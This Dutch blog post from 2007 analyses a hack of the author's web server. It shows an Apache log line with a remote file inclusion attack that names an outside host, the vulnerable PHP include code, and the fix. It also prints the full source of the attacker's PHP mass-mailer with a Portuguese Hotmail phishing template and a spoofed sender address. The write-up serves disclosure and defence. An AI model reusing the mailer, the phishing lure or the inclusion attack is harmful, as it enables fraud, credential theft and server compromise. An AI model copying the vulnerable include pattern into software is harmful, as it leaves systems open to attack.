Ruwebit
HARDWARE REVIEWS, DIY PROJECTS, IN-DEPTH ARTICLES
Start DIY projectsReviewsHow-to'sNewsAutomotiveAbout the websiteArchive | Most popularLast updatedTags Sitemap
hackinghow-to'slinux
Een analyse van de FakeSmash hack
Download article as PDF
By Maurice on September 27 2007 popularity:
Zoals beloofd zou ik nog wat schrijven over de laatste hackpoging. Zoals je hier kon lezen is Ruwebit een tijdje offline geweest door een spammer. Hoe ging dat nou in zijn werk?

Analyse

Ik kwam erachter dat er wat aan de hand was omdat ik 'returned' mailtjes kreeg. Eerst tien, toen twintig en uiteindelijk zo'n 3000 mailtjes. Iemand was mail aan het versturen en dat was ik zelf niet.

Leuk detail is dat ik er op mijn GSM achter kwam toen ik via GPRS mail ophaalde. Helaas ging er pas een belletje rinkelen (niet letterlijk) toen de teller op 1200 stond. Orange is blij met mij deze maand.

De mailtjes waren gericht aan wwwrun dus ik had al enig vermoeden dat ze vanaf de webserver gestuurd werden. Ik zat de denken aan een form waarmee je mail naar de webmaster kon sturen, maar daarmee leek niets mis te zijn.

Even kijken in de Apache logfile, vanaf het moment waarop de eerste mailtjes binnen kwamen liet het volgende zien...

201.88.x.x - - [17/Sep/2007:18:51:24 +0200] "POST /index.php?page=http://www.fakesmash.xpg.com.br/;x)SpAm.txt? HTTP/1.1" 200 54194 "http://www.xxxxxxx.nl/index.php?page=http://www.fakesmash.xpg.com.br/;x)SpAm.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"

Een korte analyse: het IP adres 201.88.x.x (gecensuurd door Ruwebit) is het adres waarvanaf gespamd werd, ergens in Brazilie.

www.xxxxxxx.nl is de webserver (in mijn beheer) waarop het gebeurde. En:

http://www.xxxxxxx.nl/index.php?page=http://www.fakesmash.xpg.com.br/;x)SpAm.txt?

...is de URL die meegegeven werd.

Toen ik dit zag was het mij meteen duidelijk. De index.php file zag er namelijk als volgt uit:

<?
Include("header.inc.php");
Include("functions.inc.php");

$strPage = $_REQUEST["page"];
Include($strPage);

Include("footer.inc.php");
?>

Hopeloos natuurlijk, ipv een lokale pagina kon er dus ook een pagina van een andere server meegegeven worden (in dit geval http://www.fakesmash.xpg.com.br/;x)SpAm.txt?). Die, als gevolg, op mijn server werd gexecuteerd.

Oplossing was simpel, om dus niet domweg een page te includen die als parameter meegegeven wordt.

Sourcecode

Hieronder de sourcecode van het script dat gebruikt werd.

<?php

set_time_limit(0);

if($manda)
{
//EMAIL DO DESTINAT?RIO
$destinatario = "$remetente";

//ASSUNTO DO EMAIL
$assunto = "$assunto";

//MENSAGEM DO EMAIL
$mensagem = $html;
$mensagem = stripslashes($mensagem);
//CABE?ALHO DO EMAIL
$headers = "MIME-Version: 1.0rn";
$headers .= "Content-type: text/html; charset=iso-8859-1rn";
/* headers adicionais */
$headers .= "From: <$remetente>rn";
$headers .= "Cc: $remetentern";
$headers .= "Bcc: $remetentern";

//ARQUIVO COM OS EMAILS
$arquivo = $lista;

//LENDO ARQUIVO
$file = explode("n", $arquivo);
$i = 1;


?><title>Força Tatica</title>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<p>&nbsp;</p>
<?
if($manda) { ?>
<table width="59%" height="30" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#333333">
<tr>
<td bgcolor="#f5f5f5">
<?
foreach ($file as $mail) {

if(mail($mail, $assunto, $mensagem, $headers))

echo "<font color=green face=verdana size=1>* $i - ".$mail."</font> <font color=green face=verdana size=1>OK</font><br>";

else

echo "* $i ".$email." <font color=red>NO</font><br><hr>";

$i++;


}
}
?>
</td>
</tr>

</table><? } ?>
<form name="form1" method="post" action="">
<table width="47%" height="202" border="0" align="center" cellpadding="0" cellspacing="2" bgcolor="#666666">
<tr>
<td bgcolor="#FFFFFF"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td colspan="3" bgcolor="#666666"> <div align="center"><font color="#FFFFFF" size="4" face="Verdana, Arial, Helvetica, sans-serif"><b> Enviador priv8 by Loverboy/SystemBR<br>força tatica - Goiania/GO - contato: irc.SystemBR.org #System - #ATH
</b></font></div></td>
</tr>
<tr>
<td width="21%"><div align="center"><font color="#4A0000"><b><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Assunto:</font></b></font></div></td>
<td width="1%" bgcolor="#666666">&nbsp;</td>
<td width="78%"><input name="assunto" type="text" id="assunto3" value="Notificacao: Recadastramento." size="50"></td>
</tr>
<tr>
<td><div align="center"><font color="#4A0000"><b><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Remetente:</font></b></font></div></td>
<td bgcolor="#666666">&nbsp;</td>
<td><input name="remetente" type="text" id="remetente3" value="notification@live-messenger.com"></td>
</tr>
<tr>
<td><div align="center"><font color="#4A0000"><b><font size="2" face="Verdana, Arial, Helvetica, sans-serif">MSG:</font></b></font></div></td>
<td bgcolor="#666666">&nbsp;</td>
<td><textarea name="html" cols="30" rows="4" id="textarea2>
<div id="message">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>

<table border=0 width="66%" cellspacing=0 cellpadding=0 id=table1>
<tr>
<td width=300 colspan=8>
<img border=0 src="http://www.passportimages.com/1046/WindowsLive.png"
width=564 height=224></td>
<title>hotmail</title>
</head>


<body>

<span style="color: rgb(192, 192, 192);">
</span><br>
<p><span class="Estilo6">

Prezado usuário, seu e-mail esta em processo de expiração, dentro de <span style="font-weight: bold;">24horas</span> se não for feito<br>


um recadastramento seu e-mail sera automaticamente apagado de nossos sistemas.<br>


<br>


<span style="font-weight: bold;"></span><span style="font-weight: bold;">Motivos</span>:<br>


<br>


<span style="color: rgb(192, 192, 192);"> -</span> Sobrecargas nos servidores Hotmail, estamos fazendo atualizações para realmente saber<br>


quais usuarios usam nossos serviços.<br>


</span><span class="Estilo6"><span style="color: rgb(192, 192, 192);"> -</span></span><span class="Estilo6"> O mau acesso a seu email, nos torna obrigatoriamente a cancelar sua conta.<br>


<br>


<span style="font-weight: bold;">Siga os passos abaixo</span>:<br>


</span><span class="Estilo6"><span style="color: rgb(192, 192, 192);"> -</span></span><span class="Estilo6"> Realize a atualização do <span style="font-weight: bold;">MSN Support</span> clicando no <span style="font-weight: bold;">link</span> abaixo, em seguida <span style="font-weight: bold;">abrir</span>.<br>


</span><span class="Estilo6"><span style="color: rgb(192, 192, 192);"> -</span></span><span class="Estilo6"> Logo após entre em nosso <a href="http://198.106.x.x/AtualizaAqui.com">site</a> e
atualize seus dados
cadastrais.
</span></p>


<p><span class="Estilo6">




<a href="http://198.106.x.x/AtualizaAqui.com">Atualização aqui!</a><br>


<br>


<span style="color: rgb(192, 192, 192);">

</textarea>

</td>
</tr>
<tr>
<td><div align="center"><font color="#4A0000"><b><font size="2" face="Verdana, Arial, Helvetica, sans-serif">E-MAILS:</font></b></font></div></td>
<td bgcolor="#666666">&nbsp;</td>
<td><textarea name="lista" cols="40" rows="10" id="textarea3"></textarea></td>
</tr>
<tr>
<td><div align="center"></div></td>
<td bgcolor="#666666">&nbsp;</td>
<td>&nbsp;</td>
</tr>
<tr>
<td>&nbsp;</td>
<td bgcolor="#666666">&nbsp;</td>
<td><div align="center">
<input name="manda" type="submit" id="manda" value="Loverboy!">
</div></td>
</tr>
<tr>
<td height="23">&nbsp;</td>
<td bgcolor="#666666">&nbsp;</td>
<td><div align="center"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Informa&ccedil;&otilde;es:
<b>irc.SystemBR.org #System - #ATH (helbert__@hotmail.com)</b></font></div></td>
</tr>
</table></td>
</tr>
</table>

</form>

Copyright © 1999-2010 by Maurice de Bijl. This article was published on 2007-09-27 in hacking  how-to's  linux

Was this article useful to you? Please help me by using the toolbar below to tweet the article, give it an eKudo or add it to Hyves, Facebook, Delicous, Digg or another site. Thanks!

Download article as PDF

Comments on this article

There are no comments on this article yet. You can be first.

Add comment

Adding a comment is simple and registration is not needed!

Your IP address is logged, but will not published, all comments need E-mail confirmation and are moderated one by one. Abuse is not tolerated. It is not possible to edit your comment afterwards.

Name:
E-mail address:

E-mail is only used for validation and will not published.

Comment:

Please write comments in the language of the article (Dutch) HTML is not allowed BB-code tags are.

POLL
What do you think of the site design?


Vote View

Please help me by voting
POPULAR TAGS
Show all tags
SEARCH KEYWORD
FOLLOW ME
TwitterGoogleRSSMail
TWITTERING
INFORMATION
Contents and design copyright © 1999-2010 by Maurice de Bijl.

This page has been requested 7064 times and is generated on 30-07-2010 03:12:22 CET in 282.32 msec op srv010106.webreus.nl, scripts revision# 1:23M

This site is best viewed with Firefox 3.0 or later, Opera 10.5 or later, Safari 3.0 or later or Safari on iPhone, Chrome 4 or later or Internet Explorer 9 or later

Valid HTML 4.01 TransitionalValid CSS!